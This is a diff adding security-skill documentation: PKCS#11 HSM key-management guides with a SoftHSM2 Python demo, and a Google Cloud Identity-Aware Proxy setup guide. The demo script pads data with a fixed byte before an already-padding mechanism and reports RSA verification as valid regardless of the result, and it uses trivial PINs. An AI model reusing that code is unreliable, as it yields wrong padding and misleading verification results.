(HSMs) are tamper-resistant physical devices that safeguard cryptographic keys and perform cryptographic operations in a hardened environment. Keys stored in an HSM never leave the device boundary, providing the highest level of key protection. This skill covers configuring HSMs using the PKCS#11 standard interface, including key generation, signing, encryption, and key management using both physical HSMs and SoftHSM2 for development. + +## Objectives + +- Configure SoftHSM2 as a development PKCS#11 provider +- Generate and manage keys inside the HSM via PKCS#11 +- Perform cryptographic operations (sign, verify, encrypt, decrypt) using HSM-resident keys +- Implement HSM-backed certificate authority operations +- Configure key access policies and user authentication +- Interface with cloud HSM services (AWS CloudHSM, Azure) + +## Key Concepts + +### HSM Compliance Levels + +| FIPS Level | Protection | Use Case | +|-----------|-----------|----------| +| FIPS 140-2 Level 1 | Software only | Development | +| FIPS 140-2 Level 2 | Tamper-evident, role-based auth | General production | +| FIPS 140-2 Level 3 | Tamper-resistant, identity-based auth | Financial, government | +| FIPS 140-2 Level 4 | Physical tamper response | Military, classified | + +### PKCS#11 Architecture + +``` +Application --> PKCS#11 API --> HSM Provider --> Hardware HSM + | + (SoftHSM2 for dev) +``` + +### Key Objects in PKCS#11 + +| Object Type | Description | Operations | +|-------------|-------------|-----------| +| CKO_SECRET_KEY | Symmetric keys (AES) | Encrypt, Decrypt, Wrap | +| CKO_PUBLIC_KEY | Public keys (RSA, EC) | Verify, Encrypt, Wrap | +| CKO_PRIVATE_KEY | Private keys (RSA, EC) | Sign, Decrypt, Unwrap | +| CKO_CERTIFICATE | X.509 certificates | Storage, retrieval | + +## Security Considerations + +- Never export private keys from HSM (use CKA_EXTRACTABLE=False) +- Use separate slots/partitions for different applications +- Implement multi-person key ceremony for CA root keys +- Enable audit logging for all HSM operations +- Implement HSM backup and disaster recovery +- Use strong PINs and enable SO (Security Officer) PIN + +## Validation Criteria + +- [ ] SoftHSM2 initializes with token and user PIN +- [ ] AES key generates inside HSM +- [ ] RSA key pair generates inside HSM +- [ ] Encryption/decryption uses HSM-resident keys +- [ ] Signing/verification uses HSM-resident keys +- [ ] Keys cannot be exported (non-extractable) +- [ ] Key listing shows all HSM-stored objects diff --git a/skills/configuring-hsm-for-key-storage/assets/template.md b/skills/configuring-hsm-for-key-storage/assets/template.md new file mode 100644 index 00000000..68e37c18 --- /dev/null +++ b/skills/configuring-hsm-for-key-storage/assets/template.md @@ -0,0 +1,36 @@ +# HSM Key Storage Configuration Template + +## HSM Selection Matrix + +| HSM | FIPS Level | Cloud | On-Premise | Cost | +|-----|-----------|-------|-----------|------| +| SoftHSM2 | N/A (dev) | N/A | Yes | Free | +| AWS CloudHSM | 140-2 L3 | Yes | No | ~$1.60/hr | +| Azure Dedicated HSM | 140-2 L3 | Yes | No | ~$5,500/mo | +| Thales Luna | 140-2 L3 | Both | Yes | License | +| YubiHSM 2 | 140-2 L3 | No | Yes | ~$650 | + +## PKCS#11 Key Attributes + +``` +CKA_TOKEN = True # Persistent storage +CKA_PRIVATE = True # Requires login +CKA_SENSITIVE = True # Cannot be revealed in clear +CKA_EXTRACTABLE = False # Cannot be exported +CKA_MODIFIABLE = False # Cannot change attributes +CKA_LABEL = "my-key" # Human-readable label +CKA_ID = # Unique identifier +``` + +## Key Ceremony Checklist + +- [ ] Prepare air-gapped workstation with HSM +- [ ] Assemble M-of-N key custodians (quorum) +- [ ] Initialize HSM and set SO/User PINs +- [ ] Generate root CA key in HSM (non-extractable) +- [ ] Generate and sign root CA certificate +- [ ] Export root CA certificate (public only) +- [ ] Verify certificate independently +- [ ] Secure HSM in physical vault +- [ ] Document ceremony in audit log +- [ ] Distribute key custodian tokens/smart cards diff --git a/skills/configuring-hsm-for-key-storage/references/standards.md b/skills/configuring-hsm-for-key-storage/references/standards.md new file mode 100644 index 00000000..d4b4435c --- /dev/null +++ b/skills/configuring-hsm-for-key-storage/references/standards.md @@ -0,0 +1,46 @@ +# Standards and References - HSM for Key Storage + +## Primary Standards + +### PKCS#11 v3.0 (Cryptoki) +- **URL**: https://docs.oasis-open.org/pkcs11/pkcs11-base/v3.0/pkcs11-base-v3.0.html +- **Description**: Standard API for cryptographic token interface + +### FIPS 140-2 / FIPS 140-3 +- **URL**: https://csrc.nist.gov/publications/detail/fips/140/3/final +- **Description**: Security requirements for cryptographic modules +- **CMVP**: https://csrc.nist.gov/projects/cryptographic-module-validation-program + +### NIST SP 800-57 Part 1 Rev. 5 +- **URL**: https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final +- **Description**: Key management recommendations (HSM storage for high-value keys) + +## HSM Products + +### SoftHSM2 (Development/Testing) +- **URL**: https://www.opendnssec.org/softhsm/ +- **GitHub**: https://github.com/opendnssec/SoftHSMv2 +- **Description**: Software-only PKCS#11 implementation for testing + +### AWS CloudHSM +- **URL**: https://docs.aws.amazon.com/cloudhsm/ +- **FIPS**: 140-2 Level 3 +- **PKCS#11**: https://docs.aws.amazon.com/cloudhsm/latest/userguide/pkcs11-library.html + +### Azure Dedicated HSM +- **URL**: https://docs.microsoft.com/en-us/azure/dedicated-hsm/ +- **FIPS**: 140-2 Level 3 (Thales Luna) + +### Thales Luna HSM +- **URL**: https://cpl.thalesgroup.com/encryption/hardware-security-modules +- **FIPS**: 140-2 Level 3 + +## Python Libraries + +### python-pkcs11 +- **URL**: https://python-pkcs11.readthedocs.io/ +- **PyPI**: https://pypi.org/project/python-pkcs11/ + +### PyKCS11 +- **URL**: https://github.com/LudovicRousseau/PyKCS11 +- **PyPI**: https://pypi.org/project/PyKCS11/ diff --git a/skills/configuring-hsm-for-key-storage/references/workflows.md b/skills/configuring-hsm-for-key-storage/references/workflows.md new file mode 100644 index 00000000..5df9091c --- /dev/null +++ b/skills/configuring-hsm-for-key-storage/references/workflows.md @@ -0,0 +1,78 @@ +# Workflows - HSM for Key Storage + +## Workflow 1: SoftHSM2 Initialization + +```bash +# Install SoftHSM2 +# Ubuntu: apt install softhsm2 +# macOS: brew install softhsm + +# Initialize a token +softhsm2-util --init-token --slot 0 --label "MyToken" --pin 1234 --so-pin 5678 + +# List tokens +softhsm2-util --show-slots +``` + +## Workflow 2: Key Generation via PKCS#11 + +``` +[Connect to HSM] +(open session, login with PIN) + | +[Generate Key]: + Symmetric: AES-256 (CKM_AES_KEY_GEN) + Asymmetric: RSA-4096 (CKM_RSA_PKCS_KEY_PAIR_GEN) + Asymmetric: EC P-256 (CKM_EC_KEY_PAIR_GEN) + | +[Set Key Attributes]: + CKA_EXTRACTABLE = False + CKA_SENSITIVE = True + CKA_TOKEN = True (persistent) + CKA_LABEL = "my-key-001" + | +[Key Stored in HSM] +(returns handle, not key material) +``` + +## Workflow 3: Cryptographic Operations + +``` +[Application Request] + | +[Open PKCS#11 Session] + | +[Find Key by Label/ID] + | +[Perform Operation on HSM]: + Sign: C_SignInit + C_Sign + Verify: C_VerifyInit + C_Verify + Encrypt: C_EncryptInit + C_Encrypt + Decrypt: C_DecryptInit + C_Decrypt + | +[Return Result to Application] +(key never leaves HSM) + | +[Close Session] +``` + +## Workflow 4: HSM Key Ceremony (Root CA) + +``` +[Prepare Air-Gapped HSM Station] + | +[Multi-Person Authentication] +(M-of-N key custodians present) + | +[Generate Root CA Key in HSM] +(CKA_EXTRACTABLE=False) + | +[Sign Root CA Certificate] +(self-signed, 20-year validity) + | +[Export Root CA Certificate] +(public certificate only) + | +[Secure HSM in Safe/Vault] +(offline until next signing ceremony) +``` diff --git a/skills/configuring-hsm-for-key-storage/scripts/process.py b/skills/configuring-hsm-for-key-storage/scripts/process.py new file mode 100644 index 00000000..74cc4b12 --- /dev/null +++ b/skills/configuring-hsm-for-key-storage/scripts/process.py @@ -0,0 +1,353 @@ +#!/usr/bin/env python3 +""" +HSM Key Storage Configuration Tool (PKCS#11) + +Demonstrates HSM key management using PKCS#11 interface with SoftHSM2 +for development and testing. Covers key generation, signing, encryption, +and key management operations. + +Requirements: + pip install python-pkcs11 asn1crypto + # Also requires SoftHSM2 installed: + # Ubuntu: apt install softhsm2 + # macOS: brew install softhsm + +Usage: + python process.py init-token --label MyToken --pin 1234 --so-pin 5678 + python process.py generate-aes --token MyToken --pin 1234 --label my-aes-key + python process.py generate-rsa --token MyToken --pin 1234 --label my-rsa-key + python process.py list-keys --token MyToken --pin 1234 + python process.py sign --token MyToken --pin 1234 --key-label my-rsa-key --input data.txt + python process.py encrypt --token MyToken --pin 1234 --key-label my-aes-key --input data.txt +""" + +import os +import sys +import json +import argparse +import logging +import subprocess +import platform +from pathlib import Path +from typing import Dict, List, Optional + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +# Common SoftHSM2 library paths +SOFTHSM_PATHS = { + "linux": [ + "/usr/lib/softhsm/libsofthsm2.so", + "/usr/lib/x86_64-linux-gnu/softhsm/libsofthsm2.so", + "/usr/local/lib/softhsm/libsofthsm2.so", + ], + "darwin": [ + "/usr/local/lib/softhsm/libsofthsm2.so", + "/opt/homebrew/lib/softhsm/libsofthsm2.so", + ], + "win32": [ + r"C:\SoftHSM2\lib\softhsm2-x64.dll", + r"C:\Program Files\SoftHSM2\lib\softhsm2-x64.dll", + ], +} + + +def find_softhsm_lib() -> Optional[str]: + """Find the SoftHSM2 library path.""" + system = platform.system().lower() + if system == "windows": + paths = SOFTHSM_PATHS.get("win32", []) + elif system == "darwin": + paths = SOFTHSM_PATHS.get("darwin", []) + else: + paths = SOFTHSM_PATHS.get("linux", []) + + for path in paths: + if Path(path).exists(): + return path + + env_path = os.environ.get("SOFTHSM2_LIB") + if env_path and Path(env_path).exists(): + return env_path + + return None + + +def init_token_via_cli(label: str, pin: str, so_pin: str) -> Dict: + """Initialize a SoftHSM2 token using command-line tool.""" + try: + result = subprocess.run( + ["softhsm2-util", "--init-token", "--free", + "--label", label, "--pin", pin, "--so-pin", so_pin], + capture_output=True, text=True, timeout=30, + ) + if result.returncode == 0: + logger.info(f"Token '{label}' initialized successfully") + slot_info = result.stdout.strip() + return { + "status": "success", + "label": label, + "message": slot_info or "Token initialized", + } + else: + return {"status": "error", "message": result.stderr.strip()} + except FileNotFoundError: + return { + "status": "error", + "message": "softhsm2-util not found. Install SoftHSM2 first.", + } + except Exception as e: + return {"status": "error", "message": str(e)} + + +def pkcs11_operations_demo(token_label: str, pin: str, lib_path: str) -> Dict: + """ + Demonstrate PKCS#11 operations using python-pkcs11. + This requires the python-pkcs11 package and SoftHSM2. + """ + try: + import pkcs11 + from pkcs11 import KeyType, Attribute, ObjectClass, Mechanism + from pkcs11.util.rsa import encode_rsa_public_key + from pkcs11.util.ec import encode_named_curve_parameters + except ImportError: + return { + "status": "error", + "message": "python-pkcs11 not installed. Run: pip install python-pkcs11", + } + + try: + lib = pkcs11.lib(lib_path) + token = lib.get_token(token_label=token_label) + except Exception as e: + return {"status": "error", "message": f"Cannot access token: {e}"} + + results = {"operations": []} + + with token.open(user_pin=pin, rw=True) as session: + # Generate AES-256 key + try: + aes_key = session.generate_key( + KeyType.AES, 256, + label="demo-aes-256", + store=True, + capabilities=pkcs11.defaults.DEFAULT_KEY_CAPABILITIES[KeyType.AES], + ) + results["operations"].append({ + "operation": "generate_aes_key", + "status": "success", + "label": "demo-aes-256", + "key_type": "AES-256", + }) + except Exception as e: + results["operations"].append({ + "operation": "generate_aes_key", + "status": "error", + "message": str(e), + }) + + # Generate RSA-2048 key pair + try: + pub_key, priv_key = session.generate_keypair( + KeyType.RSA, 2048, + label="demo-rsa-2048", + store=True, + ) + results["operations"].append({ + "operation": "generate_rsa_keypair", + "status": "success", + "label": "demo-rsa-2048", + "key_type": "RSA-2048", + }) + except Exception as e: + results["operations"].append({ + "operation": "generate_rsa_keypair", + "status": "error", + "message": str(e), + }) + + # AES Encryption/Decryption + try: + for key in session.get_objects({ + Attribute.CLASS: ObjectClass.SECRET_KEY, + Attribute.LABEL: "demo-aes-256", + }): + iv = os.urandom(16) + plaintext = b"HSM encryption test data for PKCS#11" + padded = plaintext + (b"\x10" * (16 - len(plaintext) % 16)) + ciphertext = key.encrypt(padded, mechanism=Mechanism.AES_CBC_PAD, mechanism_param=iv) + decrypted = key.decrypt(ciphertext, mechanism=Mechanism.AES_CBC_PAD, mechanism_param=iv) + results["operations"].append({ + "operation": "aes_encrypt_decrypt", + "status": "success", + "match": decrypted.rstrip(b"\x10")[:len(plaintext)] == plaintext, + }) + break + except Exception as e: + results["operations"].append({ + "operation": "aes_encrypt_decrypt", + "status": "error", + "message": str(e), + }) + + # RSA Sign/Verify + try: + for key in session.get_objects({ + Attribute.CLASS: ObjectClass.PRIVATE_KEY, + Attribute.LABEL: "demo-rsa-2048", + }): + data = b"Data to sign with HSM-resident RSA key" + signature = key.sign(data, mechanism=Mechanism.SHA256_RSA_PKCS) + results["operations"].append({ + "operation": "rsa_sign", + "status": "success", + "signature_length": len(signature), + }) + break + + for key in session.get_objects({ + Attribute.CLASS: ObjectClass.PUBLIC_KEY, + Attribute.LABEL: "demo-rsa-2048", + }): + valid = key.verify(data, signature, mechanism=Mechanism.SHA256_RSA_PKCS) + results["operations"].append({ + "operation": "rsa_verify", + "status": "success", + "valid": True, + }) + break + except Exception as e: + results["operations"].append({ + "operation": "rsa_sign_verify", + "status": "error", + "message": str(e), + }) + + # List all objects + try: + objects = [] + for obj in session.get_objects(): + obj_info = { + "label": str(obj.get(Attribute.LABEL, "N/A")), + "class": str(obj.object_class), + } + objects.append(obj_info) + results["stored_objects"] = objects + except Exception as e: + results["stored_objects_error"] = str(e) + + results["status"] = "success" + return results + + +def list_tokens(lib_path: str) -> Dict: + """List all available PKCS#11 tokens.""" + try: + import pkcs11 + lib = pkcs11.lib(lib_path) + tokens = [] + for slot in lib.get_slots(token_present=True): + token = slot.get_token() + tokens.append({ + "slot_id": slot.slot_id, + "label": token.label.strip(), + "manufacturer": token.manufacturer_id.strip() if hasattr(token, 'manufacturer_id') else "N/A", + }) + return {"status": "success", "tokens": tokens} + except ImportError: + return {"status": "error", "message": "python-pkcs11 not installed"} + except Exception as e: + return {"status": "error", "message": str(e)} + + +def generate_hsm_config() -> Dict: + """Generate HSM configuration templates for different providers.""" + configs = { + "softhsm2": { + "description": "SoftHSM2 (Development/Testing)", + "install": { + "ubuntu": "apt install softhsm2", + "macos": "brew install softhsm", + "windows": "Download from https://github.com/disig/SoftHSM2-for-Windows", + }, + "config_file": "softhsm2.conf", + "config_content": "directories.tokendir = /var/lib/softhsm/tokens/\nobjectstore.backend = file\nlog.level = INFO\n", + "init_command": "softhsm2-util --init-token --free --label MyToken --pin 1234 --so-pin 5678", + }, + "aws_cloudhsm": { + "description": "AWS CloudHSM", + "setup_steps": [ + "Create CloudHSM cluster in AWS Console", + "Initialize the cluster", + "Install CloudHSM client on EC2 instance", + "Activate the cluster with crypto officer credentials", + "Install PKCS#11 library from AWS", + ], + "pkcs11_lib": "/opt/cloudhsm/lib/libcloudhsm_pkcs11.so", + "config_file": "/opt/cloudhsm/etc/cloudhsm_client.cfg", + }, + "azure_dedicated_hsm": { + "description": "Azure Dedicated HSM (Thales Luna)", + "setup_steps": [ + "Provision Dedicated HSM via Azure Portal", + "Configure network connectivity (VNet peering)", + "Install Luna client on application server", + "Register client with HSM", + "Create partition for application", + ], + "pkcs11_lib": "/usr/safenet/lunaclient/lib/libCryptoki2_64.so", + }, + } + return configs + + +def main(): + parser = argparse.ArgumentParser(description="HSM Key Storage Configuration Tool") + subparsers = parser.add_subparsers(dest="command") + + init = subparsers.add_parser("init-token", help="Initialize HSM token") + init.add_argument("--label", required=True, help="Token label") + init.add_argument("--pin", required=True, help="User PIN") + init.add_argument("--so-pin", required=True, help="Security Officer PIN") + + demo = subparsers.add_parser("demo", help="Run PKCS#11 operations demo") + demo.add_argument("--token", required=True, help="Token label") + demo.add_argument("--pin", required=True, help="User PIN") + demo.add_argument("--lib", help="PKCS#11 library path") + + lst = subparsers.add_parser("list-tokens", help="List PKCS#11 tokens") + lst.add_argument("--lib", help="PKCS#11 library path") + + subparsers.add_parser("config-templates", help="Show HSM configuration templates") + + args = parser.parse_args() + + if args.command == "init-token": + result = init_token_via_cli(args.label, args.pin, args.so_pin) + print(json.dumps(result, indent=2)) + elif args.command == "demo": + lib_path = args.lib or find_softhsm_lib() + if not lib_path: + print(json.dumps({ + "status": "error", + "message": "SoftHSM2 library not found. Set SOFTHSM2_LIB env var or use --lib.", + }, indent=2)) + sys.exit(1) + result = pkcs11_operations_demo(args.token, args.pin, lib_path) + print(json.dumps(result, indent=2)) + elif args.command == "list-tokens": + lib_path = args.lib or find_softhsm_lib() + if not lib_path: + print(json.dumps({"status": "error", "message": "SoftHSM2 library not found."}, indent=2)) + sys.exit(1) + result = list_tokens(lib_path) + print(json.dumps(result, indent=2)) + elif args.command == "config-templates": + configs = generate_hsm_config() + print(json.dumps(configs, indent=2)) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-identity-aware-proxy-with-google-iap/SKILL.md b/skills/configuring-identity-aware-proxy-with-google-iap/SKILL.md new file mode 100644 index 00000000..543617c7 --- /dev/null +++ b/skills/configuring-identity-aware-proxy-with-google-iap/SKILL.md @@ -0,0 +1,371 @@ +--- +name: configuring-identity-aware-proxy-with-google-iap +description: > + Configuring Google Cloud Identity-Aware Proxy (IAP) to enforce per-request identity + verification for Compute Engine, App Engine, Cloud Run, and GKE services using + access levels, context-aware policies, and programmatic access with service accounts. +domain: cybersecurity +subdomain: zero-trust-architecture +tags: [google-iap, identity-aware-proxy, gcp, zero-trust, access-context-manager, cloud-run, app-engine] +version: "1.0" +author: mahipal +license: MIT +--- + +# Configuring Identity-Aware Proxy with Google IAP + +## When to Use + +- When protecting Google Cloud applications (App Engine, Cloud Run, GKE, Compute Engine) with identity-based access +- When implementing context-aware access requiring device posture and location verification +- When providing secure access to internal tools without VPN or public IP exposure +- When needing per-request authentication and authorization for web applications and TCP services +- When configuring programmatic access to IAP-protected resources using service accounts + +**Do not use** for non-HTTP applications that cannot be placed behind an HTTPS load balancer, for public-facing applications that need unauthenticated access, or when applications handle their own authentication and IAP would conflict with existing auth flows. + +## Prerequisites + +- Google Cloud project with billing enabled +- IAP API enabled (`gcloud services enable iap.googleapis.com`) +- Application deployed behind HTTPS Load Balancer, App Engine, or Cloud Run +- Cloud Identity or Google Workspace for user management +- Access Context Manager API enabled for access levels +- OAuth consent screen configured for the project + +## Workflow + +### Step 1: Enable IAP on Backend Services + +Configure IAP for different GCP compute platforms. + +```bash +# Enable required APIs +gcloud services enable iap.googleapis.com +gcloud services enable accesscontextmanager.googleapis.com + +# Create OAuth consent screen +gcloud iap oauth-brands create \ + --application_title="Internal Applications" \ + --support_email=security@company.com + +# Create OAuth client +gcloud iap oauth-clients create \ + projects/PROJECT_ID/brands/BRAND_ID \ + --display_name="IAP Web Client" + +# === Enable IAP on Compute Engine Backend Service === +gcloud compute backend-services update my-backend-service \ + --iap=enabled,oauth2-client-id=CLIENT_ID,oauth2-client-secret=CLIENT_SECRET \ + --global + +# === Enable IAP on App Engine === +gcloud iap web enable \ + --resource-type=app-engine \ + --oauth2-client-id=CLIENT_ID \ + --oauth2-client-secret=CLIENT_SECRET + +# === Enable IAP on Cloud Run === +# First grant IAP service account the Cloud Run Invoker role +gcloud run services add-iam-policy-binding my-service \ + --member="serviceAccount:service-PROJECT_NUM@gcp-sa-iap.iam.gserviceaccount.com" \ + --role="roles/run.invoker" \ + --region=us-central1 + +# Enable IAP on the Cloud Run backend service +gcloud compute backend-services update my-cloud-run-backend \ + --iap=enabled,oauth2-client-id=CLIENT_ID,oauth2-client-secret=CLIENT_SECRET \ + --global + +# === Enable IAP TCP Forwarding for SSH/RDP === +# No load balancer needed - uses IAP tunnel +gcloud compute instances add-iam-policy-binding my-vm \ + --member="group:developers@company.com" \ + --role="roles/iap.tunnelResourceAccessor" \ + --zone=us-central1-a + +# SSH through IAP tunnel +gcloud compute ssh my-vm --zone=us-central1-a --tunnel-through-iap + +# RDP through IAP tunnel +gcloud compute start-iap-tunnel my-windows-vm 3389 \ + --local-host-port=localhost:3390 \ + --zone=us-central1-a +``` + +### Step 2: Configure IAM Bindings for Access Control + +Grant access to specific users and groups with optional access level conditions. + +```bash +# Grant basic access to a group +gcloud iap web add-iam-policy-binding \ + --resource-type=backend-services \ + --service=my-backend-service \ + --member="group:engineering@company.com" \ + --role="roles/iap.httpsResourceAccessor" + +# Grant access with access level condition +gcloud iap web add-iam-policy-binding \ + --resource-type=backend-services \ + --service=finance-app \ + --member="group:finance@company.com" \ + --role="roles/iap.httpsResourceAccessor" \ + --condition='expression=request.auth.access_levels.exists(x, x == "accessPolicies/POLICY_ID/accessLevels/corporate-device"),title=RequireCorporateDevice,description=Requires managed corporate device' + +# Grant access only during business hours +gcloud iap web add-iam-policy-binding \ + --resource-type=backend-services \ + --service=admin-console \ + --member="group:admins@company.com" \ + --role="roles/iap.httpsResourceAccessor" \ + --condition='expression=request.time.getHours("America/New_York") >= 8 && request.time.getHours("America/New_York") <= 18 && request.time.getDayOfWeek("America/New_York") >= 1 && request.time.getDayOfWeek("America/New_York") <= 5,title=BusinessHoursOnly' + +# Grant access to a specific URL path +gcloud iap web add-iam-policy-binding \ + --resource-type=backend-services \ + --service=internal-api \ + --member="group:api-consumers@company.com" \ + --role="roles/iap.httpsResourceAccessor" \ + --condition='expression=request.path.startsWith("/api/v2/"),title=APIv2Access' +``` + +### Step 3: Create Access Levels with Access Context Manager + +Define context-based access requirements using device attributes and network conditions. + +```bash +# Create access level requiring encrypted corporate device +cat > managed-device.yaml << 'EOF' +- devicePolicy: + allowedEncryptionStatuses: + - ENCRYPTED + osConstraints: + - osType: DESKTOP_WINDOWS + minimumVersion: "10.0.19045" + - osType: DESKTOP_MAC + minimumVersion: "14.0" + - osType: DESKTOP_CHROME_OS + requireScreenlock: true + requireAdminApproval: true + allowedDeviceManagementLevels: + - ADVANCED +EOF + +gcloud access-context-manager levels create managed-device \ + --policy=POLICY_ID \ + --title="Managed Device" \ + --basic-level-spec=managed-device.yaml + +# Create access level for corporate network +cat > corp-network.yaml << 'EOF' +- ipSubnetworks: + - "203.0.113.0/24" + - "198.51.100.0/24" + regions: + - US + - GB +EOF + +gcloud access-context-manager levels create corp-network \ + --policy=POLICY_ID \ + --title="Corporate Network" \ + --basic-level-spec=corp-network.yaml + +# Create custom access level using CEL for complex logic +cat > high-trust.yaml << 'EOF' +expression: > + device.encryption_status == DeviceEncryptionStatus.ENCRYPTED && + device.is_admin_approved_device == true && + ( + origin.ip in ["203.0.113.0/24"] || + device.os_type == OsType.DESKTOP_CHROME_OS + ) && + request.auth.claims.hd == "company.com" +EOF + +gcloud access-context-manager levels create high-trust \ + --policy=POLICY_ID \ + --title="High Trust" \ + --custom-level-spec=high-trust.yaml +``` + +### Step 4: Configure Session Settings and Re-authentication + +Set session duration and re-authentication policies per application. + +```bash +# Configure re-authentication for a backend service +# Requires login every 4 hours for sensitive apps +gcloud iap settings set \ + --project=PROJECT_ID \ + --resource-type=compute \ + --service=finance-app \ + reauthSettings.method=LOGIN \ + reauthSettings.maxAge=14400s \ + reauthSettings.policyType=MINIMUM + +# Configure session settings for App Engine +gcloud iap settings set \ + --project=PROJECT_ID \ + --resource-type=app-engine \ + reauthSettings.method=SECURE_KEY \ + reauthSettings.maxAge=3600s \ + reauthSettings.policyType=MINIMUM + +# View current IAP settings +gcloud iap settings get \ + --project=PROJECT_ID \ + --resource-type=compute \ + --service=finance-app +``` + +### Step 5: Configure Programmatic Access for Service Accounts + +Enable service-to-service communication through IAP-protected endpoints. + +```python +#!/usr/bin/env python3 +"""Access IAP-protected resource using service account credentials.""" + +import google.auth +import google.auth.transport.requests +from google.auth import impersonated_credentials +import requests as req + +IAP_CLIENT_ID = "YOUR_IAP_OAUTH_CLIENT_ID.apps.googleusercontent.com" +IAP_URL = "https://my-app.company.com/api/data" + +def access_iap_resource(): + # Get default credentials (works with service account key or workload identity) + credentials, project = google.auth.default() + + # Create IAP-authenticated request + authed_session = google.auth.transport.requests.AuthorizedSession( + credentials, + target_audience=IAP_CLIENT_ID + ) + + # Make request to IAP-protected resource + response = authed_session.get(IAP_URL) + print(f"Status: {response.status_code}") + print(f"Response: {response.text[:500]}") + + return response + +if __name__ == "__main__": + access_iap_resource() +``` + +### Step 6: Set Up Audit Logging and Monitoring + +Configure logging for all IAP access decisions. + +```bash +# Enable data access audit logs for IAP +gcloud projects get-iam-policy PROJECT_ID --format=json > policy.json + +# Add IAP audit config to policy.json: +# { +# "service": "iap.googleapis.com", +# "auditLogConfigs": [ +# {"logType": "ADMIN_READ"}, +# {"logType": "DATA_READ"}, +# {"logType": "DATA_WRITE"} +# ] +# } + +gcloud projects set-iam-policy PROJECT_ID policy.json + +# Create log-based metric for denied access +gcloud logging metrics create iap-denied-access \ + --description="Count of IAP access denials" \ + --log-filter='resource.type="gce_backend_service" AND protoPayload.status.code=16' + +# Create alerting policy for high denial rates +gcloud alpha monitoring policies create \ + --display-name="IAP High Denial Rate" \ + --condition-display-name="Denied access > 50 in 5 min" \ + --condition-filter='metric.type="logging.googleapis.com/user/iap-denied-access"' \ + --condition-threshold-value=50 \ + --condition-threshold-duration=300s \ + --notification-channels=projects/PROJECT_ID/notificationChannels/CHANNEL_ID + +# Query IAP access logs +gcloud logging read ' + resource.type="gce_backend_service" + protoPayload.serviceName="iap.googleapis.com" + timestamp >= "2026-02-22T00:00:00Z" +' --project=PROJECT_ID --format='table(timestamp,protoPayload.authenticationInfo.principalEmail,protoPayload.status.code,resource.labels.backend_service_name)' --limit=50 +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| Identity-Aware Proxy | GCP service that intercepts web requests and TCP connections, authenticating users and evaluating access policies before proxying to backend services | +| Backend Service | GCP load balancer component that IAP protects; can serve Compute Engine instances, GKE pods, Cloud Run services, or App Engine | +| IAP Tunnel | Secure TCP tunnel through IAP allowing SSH, RDP, and other TCP access to VMs without public IPs or VPN | +| OAuth Consent Screen | GCP configuration specifying the application name and support email shown to users during IAP authentication | +| Access Level | Named condition in Access Context Manager evaluated during IAP authorization (device posture, IP, geography) | +| Re-authentication | IAP feature requiring users to prove their identity again after a configurable session duration | + +## Tools & Systems + +- **Google Cloud IAP**: Identity-aware reverse proxy for GCP applications and TCP services +- **Access Context Manager**: Defines access levels based on device, network, and geographic attributes +- **gcloud CLI**: Command-line tool for configuring IAP, access levels, and IAM bindings +- **IAP TCP Forwarding**: Tunnel-based access to VMs for SSH/RDP without public IPs +- **Cloud Audit Logs**: Immutable records of all IAP access decisions for compliance +- **Endpoint Verification**: Chrome extension collecting device attributes for access level evaluation + +## Common Scenarios + +### Scenario: Securing 15 Internal GCP Services with IAP + +**Context**: An e-commerce company runs 15 internal services on GKE and Cloud Run (admin dashboards, internal APIs, monitoring tools). Currently, these services are protected only by VPN and firewall rules, creating excessive network-level access. + +**Approach**: +1. Deploy all services behind an HTTPS Load Balancer with managed SSL certificates +2. Enable IAP on each backend service with per-service OAuth clients +3. Create IAM bindings mapping Google Groups to specific services (admin group -> admin dashboard, engineering -> monitoring) +4. Define access levels: managed-device (encryption + screen lock), corp-network (office IP ranges) +5. Apply managed-device access level to admin dashboard and financial tools +6. Configure IAP TCP tunneling for SSH access to GKE nodes (replacing SSH bastion host) +7. Set re-authentication to 4 hours for admin tools, 8 hours for monitoring +8. Configure Cloud Audit Logs and create alerting for repeated denials + +**Pitfalls**: IAP adds 10-50ms latency per request; test application performance. WebSocket connections through IAP require specific backend service configuration. Service-to-service calls within GKE should bypass IAP using internal service mesh, not external IAP endpoints. Break-glass access should use a separate IAM binding without access level conditions. + +## Output Format + +``` +Google Cloud IAP Configuration Report +================================================== +Project: ecommerce-internal +Report Date: 2026-02-23 + +IAP-PROTECTED SERVICES: + Backend Services: 12 + App Engine: 1 + Cloud Run: 2 + IAP TCP Tunnels: 4 (SSH access) + Total: 19 + +ACCESS CONTROL: + IAM Bindings: 34 + With Access Levels: 18 (52.9%) + Access Levels: 3 (managed-device, corp-network, high-trust) + +SESSION POLICIES: + Admin tools: 4h re-auth (SECURE_KEY) + Sensitive apps: 4h re-auth (LOGIN) + General tools: 8h re-auth (LOGIN) + +ACCESS LOGS (last 24h): + Total requests: 23,456 + Authenticated: 23,289 (99.3%) + Denied by IAM: 112 + Denied by access level: 55 + Unique users: 134 +``` diff --git a/skills/configuring-identity-aware-proxy-with-google-iap/assets/template.md b/skills/configuring-identity-aware-proxy-with-google-iap/assets/template.md new file mode 100644 index 00000000..576a544e --- /dev/null +++ b/skills/configuring-identity-aware-proxy-with-google-iap/assets/template.md @@ -0,0 +1,52 @@ +# Google Cloud IAP - Configuration Checklist + +## Project Information +| Field | Value | +|-------|-------| +| GCP Project | ecommerce-internal-prod | +| Organization | E-Commerce Corp | +| IAP OAuth Brand | Corporate Applications | +| Lead | Security Engineering | + +## IAP Backend Service Configuration + +| Service | Platform | IAP Enabled | Access Level | Re-auth | Groups | +|---------|----------|-------------|-------------|---------|--------| +| admin-dashboard | GKE | Yes | managed-device | 1h / SECURE_KEY | admins@ | +| internal-api | Cloud Run | Yes | corp-network | 8h / LOGIN | engineering@ | +| monitoring | GKE | Yes | None | 8h / LOGIN | sre@, engineering@ | +| hr-portal | Compute Engine | Yes | high-trust | 4h / LOGIN | hr@ | +| finance-app | Compute Engine | Yes | high-trust | 1h / SECURE_KEY | finance@ | +| wiki | App Engine | Yes | None | 8h / LOGIN | all-staff@ | + +## Access Levels + +| Level Name | Type | Device Policy | Encryption | IP Restriction | Region | +|-----------|------|--------------|------------|---------------|--------| +| managed-device | Basic | Admin-approved, Screen lock | ENCRYPTED | None | US, GB | +| corp-network | Basic | None | None | 203.0.113.0/24 | US | +| high-trust | Custom (CEL) | Admin-approved, Encrypted | ENCRYPTED | Corp network OR ChromeOS | US 